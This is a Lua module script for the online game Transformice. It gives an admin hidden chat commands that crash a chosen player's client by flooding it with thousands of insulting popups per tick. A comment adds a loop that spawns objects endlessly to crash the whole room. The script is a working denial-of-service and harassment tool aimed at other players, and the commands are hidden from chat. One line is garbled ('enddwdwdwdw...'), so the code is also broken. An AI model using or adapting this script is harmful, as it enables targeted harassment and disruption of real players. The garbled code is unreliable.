--Creator: Bolodefchoco
--Made in: 26/09/2015
--Last update: 17/05/2016
--[[ Notes:
Does:
 Commands:
!
crash
Nome --> Inicia um crash lento e sombria apenas para Nome.
stop
Nome --> Para de dar crash em Nome, porém as Popups n?o desaparecer?o.
* --> Tira todos os que est?o sendo Crash da tabela de crash, porém as Popups n?o desaparecer?o.
Faster way (Leave the tribe house asap!):
tfm.exec.newGame()
eventLoop = function(t)
if (t/1000) >= 6 then
for i = 1,1e9 do
tfm.exec.addShamanObject(100,0,0)
end
end
end
]]--

adm = {"Navi#7552"}

mice={}
toCrash = {}

eventNewPlayer=function(n)
if mice[n] then
mice[n].out = false
else
mice[n] = {out = false}
end
end
table.foreach(tfm.get.room.playerList,eventNewPlayer)

eventPlayerLeft=function(n) mice[n].out = true;if table.find(toCrash,n) then table.destroy(toCrash,n);print(id) end end

id = 0

string.nick=function(player)
return player:lower():gsub('%a',string.upper,1)
end
table.find=function(table,value)
for k,v in next,table do
if v == value then
return true,k
end
end
return false,0
end
table.destroy=function(list,value)
for k,v in next,list do
if v == value then
table.remove(list,k);break
end
end
end

eventChatCommand=function(n,command)
local c = {};for val in command:gmatch("[^%s]+") do table.insert(c,val) end;c[1]=c[1]:lower()
if table.find(adm,n) then
if c[1] == "crash" and tfm.get.room.playerList[string.nick(c[2])] then
c[2] = string.nick(c[2])
table.insert(toCrash,c[2])
eventLoop(0)
end
if c[1] == "stop" then
if c[2] == "*" then toCrash={}
else
if tfm.get.room.playerList[string.nick(c[2])] then
c[2] = string.nick(c[2])
table.destroy(toCrash,c[2])
end
end
end
if c[1] == "id" then print(id) end
end
end

eventLoop=function(t)
for k,v in next,toCrash do
for i = 1,20000 do
local text = {"Noob","Trouxiane","Troxa","Lixoso","Bizerro azul"}
ui.addPopup(id,0,text[math.random(#text)],v,nil,nil,200,true)
id = id + 1
enddwdwdwdwdwdwdwdwdwdwdw
end
end

for _,c in next,{"crash","stop","id"} do
system.disableChatCommandDisplay(c,true)
end